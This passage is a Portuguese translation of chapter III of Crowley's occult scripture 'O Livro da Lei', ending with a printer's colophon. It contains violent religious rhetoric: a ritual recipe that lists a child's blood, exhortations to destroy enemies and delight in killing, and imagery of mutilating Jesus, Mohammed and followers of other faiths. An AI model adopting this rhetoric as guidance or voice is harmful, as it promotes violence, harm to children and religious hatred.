19. Aquela estela eles chamarão de Abominação da Desolação; conte bem seu
nome, & será para ti como 718.
20. Por quê? Por causa da queda de Porque, que ele não está lá novamente.
21. Eriji minha imagem no Leste; tu comprarás para ti uma imagem que Eu te
mostrarei, especial, não semelhante a que tu conheces. E será subitamente
fácil para ti fazê-lo.
22. As outras imagens amontoai em meu redor para me sustentar: deixai
todas serem adoradas, pois elas se agruparão para me exaltar. Eu sou o objeto
visível de adoração; os outros são secretos; para a Besta & sua Noiva são eles;
e para os vencedores do Ordálio x . O que é isto? Tu saberás.
23. Para perfume misture farinha & mel & grossas folhagens de vinho
vermelho: então óleo de Abramelim e óleo de oliva, e depois amoleça e amacie
com rico sangue fresco.
24. O melhor sangue é o da lua, mensal: então o sangue fresco de uma
criança, ou pingando da hóstia do céu: então de inimigos; então de um
sacerdote ou dos adoradores: por fim de alguma besta, não importa qual.
25. Isto queimai: disto fazei bolos & comei para mim. Isto tem também um
outro uso: que seja colocado ante de mim, e engrossado com perfumes de teu
84
culto: ficará cheio de besouros, tal como ele estava, e coisas sagradas
rastejantes a mim.
26. Estes assassine, nominando teus inimigos; & eles cairão a tua frente.
27. Também estes gerarão desejo e poder de desejo em ti no comer deles.
28. Também vós sereis fortes na guerra.
29. Além disso, sejam eles longamente mantidos, é melhor; por eles expandi
com minha força. Tudo diante de mim.
30. Meu altar é de aberto trabalho metálico: queimai sobre ele em prata ou
ouro!
31. Virá um rico homem do Oeste que despejará ouro sobre ti.
32. De ouro molde aço!
33. Esteja pronto para voar ou golpear.
34. Mas teu local sagrado será intocado através dos séculos: embora com fogo
e espada seja incendiado & despedaçado, ainda assim uma casa invisível lá
permanece, e permanecerá até a queda do Grande Equinócio; quando
Hrumachis surgir e o de dupla-baqueta assumir meu trono e lugar. Um outro
profeta se levantará, e trará nova febre dos céus; uma outra mulher
despertará a luxúria e adoração da serpente; uma outra alma de Deus e besta
se mesclarão no sacerdote globado; um outro sacrifício maculará o túmulo;
um outro rei reinará; e benção não mais será derramada Ao Místico Senhor de
cabeça de Falcão!
35. A metade da palavra de Heru-ra-ha, chamado Hoor-pa-Kraat e Ra-HoorKhut.
36. Então disse o profeta a Deus:
37. Eu te adoro na canção Eu sou o Senhor de Tebas, e eu
O vate inspirado de Mentu.
Para mim desvela o véu do céu,
O sacrificado Ankh-af-na-khonsu
Cujo verbo é lei. Deixa que eu incite
Tua presença aqui, Ó Ra-Hoor-Khuit!
Ultimal Unidade demonstrada!
Adoro Teu poder, Teu sopro forte,
Deus terrível, suprema flor do nada,
Que fazes com que os deuses e que a morte
Tremam diante de Ti:
Eu, Eu adoro a ti!
Aparece no trono de Ra!
85
Abre os caminhos do Khu!
Ilumina os caminhos do Ka!
Nas rotas do Khabs sê tu,
Para mover-me ou parar-me!
Aum! enche meu carme!
38. De forma que tua luz está em mim; & sua flama rubra é como uma espada
em minha mão para empurrar tua ordem. Existe uma porta secreta que Eu
farei para estabelecer tua rota em todos os quadrantes (estas são as
adorações, como tu escreveste), como é dito:
É minha a luz; faz que eu me vá
Com os seus raios. Sou o autor
De oculta porta ao Lar de Ra
E Tum, de Khephra e de Ahathoor.
Eu sou teu Tebano, Ó Mentu,
O profeta Ankh-af-na-khonsu!
Por Bes-na-Maut bato no peito;
E por Ta-Nech lanço o feitiço.
Brilha, Nuit, ó céu perfeito!
Alada cobra, luz e viço,
Abre-me tua Casa, Hadit!
Mora comigo, Ra-Hoor-Kuit!
39. Tudo isto e um livro para dizer como tu chegaste aqui e uma reprodução
desta tinta e papel para sempre - pois nisto está a palavra secreta & não
apenas no Inglês - e teu comento sobre este o Livro da Lei será impresso
belamente em tinta vermelha e negra sobre belo papel feito à mão; e a cada
homem e mulher que tu encontras, fosse apenas para jantar ou beber a eles,
esta é a Lei a dar. Então talvez eles decidam permanecer nesta felicidade ou
não; não tem importância. Faze isto rápido!
40. Mas o trabalho do comento? Aquilo é fácil; e Hadit ardendo em teu
coração fará célere e segura tua pena.
41. Estabelece em tua Kaaba um escritório; tudo deve ser bem feito e com
jeito de negócios.
42. Os ordálios tu fiscalizarás tu mesmo, salvo apenas as cegas. Não recuses
ninguém, mas tu conhecerás & destruirás os traidores. Eu sou Ra-Hoor-Khuit;
e Eu sou poderoso para proteger meu servo. Sucesso é tua prova; não
discutas; não convertas; não fales demais! Aqueles que buscam armar-te uma
cilada, derrubar-te, esses ataca sem dó nem trégua; & destrói-os por
completo. Célere como uma serpente pisada e vira-te e dá o bote! Sê tu mais
mortífero ainda que ele! Puxa para baixo suas almas a tormento horrível: ri do
medo deles: cospe sobre eles!
86
43. Que a Mulher Escarlate se precate! Se piedade e compaixão e ternura
visitarem seu coração; se ela deixar meu trabalho para brincar com velhas
doçuras; então minha vingança ser conhecida. Eu me matarei sua criança: Eu
alienarei seu coração: Eu a expelirei dos homens: como uma encolhida e
desprezada rameira ela rastejará por ruas molhadas e escuras, e morrerá fria
e faminta.
44. Mas que ela se erga em orgulho! Que ela me siga em meu caminho! Que
ela obre a obra de maldade! Que ela mate seu coração! Que ela seja gritona e
adúltera! Que ela esteja coberta de jóias, e ricas roupas, e que ela seja sem
vergonha diante de todos os homens!
45. Então Eu a levantarei a pináculos de poder: então Eu engendrarei dela
uma criança mais pujante que todos os reis da terra. Eu a encherei de alegria:
com minha força ela verá & dar o golpe à adoração de Nu: ela conseguirá
Hadit.
46. Eu sou o guerreiro Senhor dos Quarentas: os Oitentas se acovardam
diante de me, & são afundados. Eu vos trarei a vitória & alegria: Eu estarei
nas vossas armas em batalha & vós deleitareis em matar. Sucesso é vossa
prova; coragem é vossa armadura; avante, avante em minha força; & vós não
retrocedereis de qualquer!
47. Este livro será traduzido em todas as línguas: mas sempre com o original
pela mão da Besta; pois na forma ao acaso das letras e sua posição umas com
as outras: nestas há mistérios que nenhuma Besta adivinhará. Que ele não
procure tentar: mas um vem após ele, de onde Eu não digo, que descobrirá a
Chave disso tudo. Então esta linha traçada é uma chave; então este círculo
esquadrado em seu fracasso é uma chave também. E Abrahadabra. Será sua
criança & isso estranhamente. Que ele não busque após isto pois dessa forma
apenas pode ele cair.
48. Agora este mistério das letras está acabado, e Eu quero prosseguir para o
lugar mais santo.
49. Eu estou em uma secreta palavra quádrupla, a blasfêmia contra todos os
deuses dos homens.
50. Maldição sobre eles! Maldição sobre eles! Maldição sobre eles!
51. Com minha cabeça de Falcão Eu bico os olhos de Jesus enquanto ele se
dependura da cruz.
52. Eu ruflo minhas asas na face de Mohammed & cego-o.
53. Com minhas garras Eu dilacero e puxo fora a carne do Hindu e do Budista,
Mongol e Din.
54. Bahlasti! Ompehda! Eu cuspo nos vossos credos crapulosos.
55. Que Maria inviolada seja despedaçada sobre rodas: por causa dela que
todas as mulheres castas sejam completamente desprezadas entre vós!
56. Também por causa da beleza e do amor!
57. Desprezai também todos os covardes; soldados profissionais que não
ousam lutar, mas brincam; todos os tolos desprezai!
87
58. Mas os afiados e os altivos, os régios e os elevados; vós sois irmãos!
59. Lutai como irmãos!
60. Não existe lei além de Faze o que tu queres.
61. Há um fim da palavra do Deus entronado no assento de Ra, tornando leves
as vigas da alma.
62. A Me reverenciai! a me vinde através de tribulação de ordália, que é
deleite.
63. O tolo lê este Livro da Lei, e seu comento; & ele não o compreende.
64. Que ele passe pela primeira ordália, & será para ele como prata.
65. Pela segunda, ouro.
66. Pela terceira, pedras de água preciosa.
67. Pela quarta, ultimais fagulhas do fogo intimo.
68. No entanto a todos ele parecerá belo. Seus inimigos que não dizem assim,
são meros mentirosos.
69. Existe sucesso.
70. Eu sou o Senhor de Cabeça de Falcão do Silêncio & da Força; minha
nêmes cobre o céu azul-noturno.
71. Salve! vós gêmeos guerreiros em volta dos pilares do mundo! pois vossa
hora está próxima.
72. Eu sou o Senhor da Dupla Baqueta de Poder; a baqueta da Força de Coph
Nia - mas minha mão esquerda está vazia, pois Eu esmaguei um Universo; &
nada resta.
73. Empastai as folhas da direita para a esquerda e do topo ao pé: então
contemplai!
74. Existe um esplendor em meu nome oculto e glorioso, como o sol da meianoite é sempre o filho.
75. O fim das palavras é a Palavra Abrahadabra.
O Livro da Lei está Escrito e Oculto.
Aum. Ha.
88
Nosso trabalho de composição e impressão foi terminado com
as bençãos do Mestre Therion no dia 07/04/2005.
Amor é a lei, amor sob vontade.
89